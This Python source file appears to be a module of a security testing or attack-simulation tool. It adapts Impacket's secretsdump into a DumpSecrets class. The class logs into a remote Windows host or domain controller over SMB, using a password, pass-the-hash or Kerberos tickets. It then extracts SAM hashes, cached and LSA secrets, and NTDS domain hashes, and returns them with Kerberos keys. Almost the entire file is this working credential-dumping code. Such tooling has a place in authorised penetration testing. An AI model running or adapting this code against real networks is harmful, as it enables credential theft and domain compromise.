# Copyright (c) 2000 SecureAuth Corporation.  All rights
# reserved.

# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:

# 1. Redistributions of source code must retain the above copyright
#    notice, this list of conditions and the following disclaimer.

# 2. Redistributions in binary form must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer in
#    the documentation and/or other materials provided with the
#    distribution.

# 3. The end-user documentation included with the redistribution,
#    if any, must include the following acknowledgment:
#       "This product includes software developed by
#        SecureAuth Corporation (https://www.secureauth.com/)."
#    Alternately, this acknowledgment may appear in the software itself,
#    if and wherever such third-party acknowledgments normally appear.

# 4. The names "Impacket", "SecureAuth Corporation" must
#    not be used to endorse or promote products derived from this
#    software without prior written permission. For written
#    permission, please contact oss@secureauth.com.

# 5. Products derived from this software may not be called "Impacket",
#    nor may "Impacket" appear in their name, without prior written
#    permission of SecureAuth Corporation.

# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
# SUCH DAMAGE.


import logging
import os
import traceback

from impacket.examples.secretsdump import (
    LocalOperations,
    LSASecrets,
    NTDSHashes,
    RemoteOperations,
    SAMHashes,
)
from impacket.smbconnection import SMBConnection

from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT

from .capture_output import StdoutCapture

logger = logging.getLogger(__name__)


# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
# Used to get Administrator and original DC passwords' hashes
class DumpSecrets:
    def __init__(self, remote_name, username="", password="", domain="", options=None):
        self.__use_VSS_method = options.use_vss
        self.__remote_name = remote_name
        self.__remote_host = options.target_ip
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ""
        self.__nthash = ""
        self.__smb_connection = None
        self.__remote_ops = None
        self.__SAM_hashes = None
        self.__NTDS_hashes = None
        self.__LSA_secrets = None
        self.__system_hive = options.system
        self.__bootkey = options.bootkey
        self.__security_hive = options.security
        self.__sam_hive = options.sam
        self.__ntds_file = options.ntds
        self.__no_lmhash = options.no_lmhash
        self.__is_remote = options.is_remote
        self.__do_kerberos = options.k
        self.__just_DC = options.just_dc
        self.__just_DC_NTLM = options.just_dc_ntlm
        self.__can_process_SAM_LSA = options.can_process_SAM_LSA
        self.__kdc_host = options.dc_ip
        self.__options = options

        if options.hashes is not None:
            self.__lmhash, self.__nthash = options.hashes.split(":")

    def connect(self):
        self.__smb_connection = SMBConnection(
            self.__remote_name, self.__remote_host, timeout=LONG_REQUEST_TIMEOUT
        )
        self.__smb_connection.login(
            self.__username,
            self.__password,
            self.__domain,
            self.__lmhash,
            self.__nthash,
        )

    def dump(self):  # noqa: C901
        with StdoutCapture() as output_captor:
            dumped_secrets = ""

            try:
                if self.__remote_name.upper() == "LOCAL" and self.__username == "":
                    self.__is_remote = False
                    self.__use_VSS_method = True
                    if self.__system_hive:
                        local_operations = LocalOperations(self.__system_hive)
                        bootkey = local_operations.getBootKey()
                        if self.__ntds_file is not None:
                            # Let's grab target's configuration about LM Hashes storage.
                            self.__no_lmhash = local_operations.checkNoLMHashPolicy()
                    else:
                        import binascii

                        bootkey = binascii.unhexlify(self.__bootkey)

                else:
                    self.__is_remote = True
                    bootkey = None
                    try:
                        try:
                            self.connect()
                        except Exception as e:
                            if os.getenv("KRB5CCNAME") is not None and self.__do_kerberos is True:
                                # SMBConnection failed. That might be because there was no way to
                                # log into the
                                # target system. We just have a last resort. Hope we have tickets
                                # cached and that they
                                # will work
                                logger.debug(
                                    "SMBConnection didn't work, hoping Kerberos will help (%s)"
                                    % str(e)
                                )
                            else:
                                raise

                        self.__remote_ops = RemoteOperations(
                            self.__smb_connection, self.__do_kerberos, self.__kdc_host
                        )
                        self.__remote_ops.setExecMethod(self.__options.exec_method)
                        if (
                            self.__just_DC is False
                            and self.__just_DC_NTLM is False
                            or self.__use_VSS_method is True
                        ):
                            self.__remote_ops.enableRegistry()
                            bootkey = self.__remote_ops.getBootKey()
                            # Let's check whether target system stores LM Hashes.
                            self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
                    except Exception as e:
                        self.__can_process_SAM_LSA = False
                        if (
                            str(e).find("STATUS_USER_SESSION_DELETED")
                            and os.getenv("KRB5CCNAME") is not None
                            and self.__do_kerberos is True
                        ):
                            # Giving some hints here when SPN target name validation is set to
                            # something different to Off.
                            # This will prevent establishing SMB connections using TGS for SPNs
                            # different to cifs/.
                            logger.error(
                                "Policy SPN target name validation might be restricting full "
                                "DRSUAPI dump." + "Try -just-dc-user"
                            )
                        else:
                            logger.error("RemoteOperations failed: %s" % str(e))

                # If RemoteOperations succeeded, then we can extract SAM and LSA.
                if (
                    self.__just_DC is False
                    and self.__just_DC_NTLM is False
                    and self.__can_process_SAM_LSA
                ):
                    try:
                        if self.__is_remote is True:
                            SAM_file_name = self.__remote_ops.saveSAM()
                        else:
                            SAM_file_name = self.__sam_hive

                        self.__SAM_hashes = SAMHashes(
                            SAM_file_name, bootkey, isRemote=self.__is_remote
                        )
                        self.__SAM_hashes.dump()
                    except Exception as e:
                        logger.error("SAM hashes extraction failed: %s" % str(e))

                    try:
                        if self.__is_remote is True:
                            SECURITY_file_name = self.__remote_ops.saveSECURITY()
                        else:
                            SECURITY_file_name = self.__security_hive

                        self.__LSA_secrets = LSASecrets(
                            SECURITY_file_name,
                            bootkey,
                            self.__remote_ops,
                            isRemote=self.__is_remote,
                        )
                        self.__LSA_secrets.dumpCachedHashes()
                        self.__LSA_secrets.dumpSecrets()
                    except Exception as e:
                        logger.debug(traceback.print_exc())
                        logger.error("LSA hashes extraction failed: %s" % str(e))

                # NTDS Extraction we can try regardless of RemoteOperations failing. It might
                # still work.
                if self.__is_remote is True:
                    if self.__use_VSS_method and self.__remote_ops is not None:
                        NTDS_file_name = self.__remote_ops.saveNTDS()
                    else:
                        NTDS_file_name = None
                else:
                    NTDS_file_name = self.__ntds_file

                self.__NTDS_hashes = NTDSHashes(
                    NTDS_file_name,
                    bootkey,
                    isRemote=self.__is_remote,
                    noLMHash=self.__no_lmhash,
                    remoteOps=self.__remote_ops,
                    useVSSMethod=self.__use_VSS_method,
                    justNTLM=self.__just_DC_NTLM,
                )
                try:
                    self.__NTDS_hashes.dump()
                except Exception as e:
                    logger.debug(traceback.print_exc())
                    if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0:
                        # We don't store the resume file if this error happened, since this error
                        # is related to lack
                        # of enough privileges to access DRSUAPI.
                        resume_file = self.__NTDS_hashes.getResumeSessionFile()
                        if resume_file is not None:
                            os.unlink(resume_file)
                    logger.error(e)
                    if self.__use_VSS_method is False:
                        logger.error(
                            "Something wen't wrong with the DRSUAPI approach. Try again with "
                            "-use-vss parameter"
                        )
                self.cleanup()
            except (Exception, KeyboardInterrupt) as e:
                logger.debug(traceback.print_exc())
                logger.error(e)
                if self.__NTDS_hashes is not None:
                    if isinstance(e, KeyboardInterrupt):
                        resume_file = self.__NTDS_hashes.getResumeSessionFile()
                        if resume_file is not None:
                            os.unlink(resume_file)
                try:
                    self.cleanup()
                except Exception:
                    pass
            finally:
                dumped_secrets = (
                    output_captor.get_captured_stdout_output()
                )  # includes hashes and kerberos keys
                return dumped_secrets

    def cleanup(self):
        logger.debug("Cleaning up...")
        if self.__remote_ops:
            self.__remote_ops.finish()
        if self.__SAM_hashes:
            self.__SAM_hashes.finish()
        if self.__LSA_secrets:
            self.__LSA_secrets.finish()
        if self.__NTDS_hashes:
            self.__NTDS_hashes.finish()
